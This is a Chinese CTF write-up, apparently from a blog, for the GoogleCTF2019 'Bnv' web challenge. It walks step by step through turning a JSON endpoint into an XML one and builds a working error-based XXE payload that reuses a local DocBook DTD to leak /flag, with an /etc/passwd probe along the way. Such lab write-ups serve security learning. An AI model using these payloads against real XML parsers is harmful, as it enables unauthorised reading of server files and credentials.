[ctf web][GoogleCTF2019 Quals]Bnv writeup

48 篇文章 2 订阅

[GoogleCTF2019 Quals]Bnv

image-20220211093341580

抓包

image-20220211093403965

是json格式的,将json改成xml格式能不能打xxe

Content-type: application/json
Content-type: application/xml

首先构造DTD,申明实体b,申明元素message

其实之前做得题目都是不用申明元素的,这里如果不申明会报
No declaration for element message, line 5, column 23

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [     <!-- 定义此文档是message类型的文档。-->
        <!ELEMENT message (#PCDATA)> <!-- 定义message元素为 "#PCDATA" 类型 -->
    <!ENTITY b "135601360123502401401250">
]>
<message>&b;</message>

成功得到回显

image-20220211094020547

再尝试加上name实体来加载内部文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
        <!ELEMENT message (#PCDATA)>
    <!ENTITY b "135601360123502401401250">
    <!ENTITY % name SYSTEM "file:///etc/passwd">
        %name;
]>
<message>&b;</message>

报错:internal error: xmlParseInternalSubset: error detected in Markup declaration, line 1, column 1

文档类型声明包含或指向的标记声明必须格式正确
这意味着文件已经正确加载了,但由于它不是个格式良好的xml文件 所以它中断了。

如果我们尝试引用系统不存在的文件,会报错:

failed to load external entity “file:///xxxx”, line 6, column 10

所以可以试出flag在根目录

⭐️然后看这篇文章Exploiting XXE with local DTD files (mohemiv.com)

Linux设备可能在/usr/share/yelp/dtd/docbookx.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。

img

首先读/flag,第二次把/flag的里的值做实体来读取,因为/flag的里的值这个实体不存在,就会报错返回,得到flag。

像那篇文章里面写得

image-20220211103503352

payload:

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>
//因为我们要的是报错嘛,后面的文档部分有没有无所谓了

image-20220211100722247

参考wp:

[GoogleCTF2019 Quals]Bnv-XXE学习记录_cjdgg的博客

刷题笔记:[GoogleCTF2019 Quals]Bnv | 远离尘世的幻想乡 (syunaht.com)

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值